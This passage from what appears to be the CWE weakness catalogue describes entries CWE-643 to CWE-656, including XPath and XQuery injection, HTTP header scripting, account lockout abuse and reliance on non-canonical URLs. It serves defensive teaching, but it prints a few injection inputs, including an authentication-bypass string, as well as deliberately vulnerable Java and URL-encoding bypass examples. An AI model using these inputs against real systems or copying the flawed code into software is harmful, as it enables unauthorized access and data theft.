	Controlling application flow (e.g. bypassing authentication).	
Confidentiality	Read Application Data *The attacker could read restricted XML content.*	

Potential Mitigations

Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Demonstrative Examples

Example 1:

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

Example Language: XML *(informative)*

```
<users>
   <user>
      <login>john</login>
      <password>abracadabra</password>
      <home_dir>/home/john</home_dir>
   </user>
   <user>
      <login>cbc</login>
      <password>1mgr8</password>
      <home_dir>/home/cbc</home_dir>
   </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

Example Language: Java *(bad)*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

Example Language: *(attack)*

```
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
```

which, of course, lets user "john" login without a valid password, thus bypassing authentication.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID : 644 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	116	Improper Encoding or Escaping of Output	260

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Run arbitrary code.*	
Confidentiality	Read Application Data *Attackers may be able to obtain sensitive information.*	

Potential Mitigations

Phase: Architecture and Design

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

Phase: Architecture and Design

Disable script execution functionality in the clients' browser.

Demonstrative Examples

Example 1:

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

Example Language: Java *(bad)*

```
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

Observed Examples

Reference	Description
CVE-2006-3918	Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918*

CWE-645: Overly Restrictive Account Lockout Mechanism

Weakness ID : 645 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.

Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013
MemberOf	C	1216	Lockout Mechanism Errors	2016

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *Users could be locked out of accounts.*	

Potential Mitigations

Phase: Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

Phase: Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

Phase: Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CAPEC-ID	Attack Pattern Name
2	Inducing Account Lockout

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID : 646 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

Extended Description

An application might use the file name or extension of of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CAPEC-ID	Attack Pattern Name
209	XSS Using MIME Type Mismatch

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID : 647 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision,

then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:

- http://WWW.EXAMPLE.COM/mypage
- http://www.example.com/%6Dypage (alternate encoding)
- http://192.168.1.1/mypage (IP address)
- http://www.example.com/mypage/ (trailing /)
- http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		863	Incorrect Authorization	1573

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.*	
Confidentiality	Read Files or Directories *If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).*	

Potential Mitigations

Phase: Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

Phase: Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

Demonstrative Examples

Example 1:

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

MemberOf Relationships

CWE-648: Incorrect Use of Privileged APIs

Weakness ID : 648 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

Extended Description

When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	C	269	Improper Privilege Management	589

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker may be able to elevate privileges.*	
Confidentiality	Read Application Data *An attacker may be able to obtain sensitive information.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *An attacker may be able to execute code.*	

Potential Mitigations

Phase: Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Phase: Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Phase: Implementation

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Phase: Implementation

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Phase: Implementation

Only call privileged APIs from safe, consistent and expected state.

Phase: Implementation

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

Observed Examples

Reference	Description
CVE-2003-0645	A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0645*

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID : 649 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.

Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *The inputs could be modified without detection, causing the software to have unexpected system state or make incorrect security decisions.*	

Potential Mitigations

Phase: Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Phase: Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Phase: Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

Phase: Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

Observed Examples

Reference	Description
CVE-2005-0039	An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP

Reference	Description
	of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0039*

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID : 650 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

Extended Description

The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-651: Exposure of WSDL File Containing Sensitive Information

Weakness ID : 651 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

Extended Description

An information exposure may occur if any of the following apply:

1. The WSDL file is accessible to a wider audience than intended.

2. The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
3. Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1111

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The attacker may find sensitive information located in the WSDL file.*	

Potential Mitigations

Phase: Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

Phase: Architecture and Design

Strategy = Separation of Privilege

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

Phase: Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

Demonstrative Examples

Example 1:

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Weakness ID : 652 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ChildOf	G	943	Improper Neutralization of Special Elements in Data Query Logic	1624

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *An attacker might be able to read sensitive information from the XML database.*	

Potential Mitigations

Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Demonstrative Examples

Example 1:

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-653: Insufficient Compartmentalization

Weakness ID : 653 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not sufficiently compartmentalize functionality or processes that require different privilege levels, rights, or permissions.

Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Break up privileges between different modules, objects or entities. Minimize the interfaces between modules and require strong access control between them.

Demonstrative Examples

Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Relationship

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Terminology

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

CWE-654: Reliance on a Single Factor in a Security Decision

Weakness ID : 654 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	657	Violation of Secure Design Principles	1287
ParentOf	B	308	Use of Single-factor Authentication	682
ParentOf	B	309	Use of Password System for Primary Authentication	684

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this node is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder, others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.*	
Non-Repudiation	Hide Activities *It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.*	

Potential Mitigations

Phase: Architecture and Design

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Phase: Architecture and Design

Use redundant access rules on different choke points (e.g., firewalls).

Demonstrative Examples

Example 1:

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2:

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Maintenance

This node is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this node). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

CWE-655: Insufficient Psychological Acceptability

Weakness ID : 655 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf		657	Violation of Secure Design Principles	1287

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.*	

Potential Mitigations

Phase: Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Phase: Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

Demonstrative Examples

Example 1:

In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

Notes

Other

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

CWE-656: Reliance on Security Through Obscurity

Weakness ID : 656 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Never Assuming your secrets are safe :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Other *The security mechanism can be bypassed easily.*	

Potential Mitigations

Phase: Architecture and Design

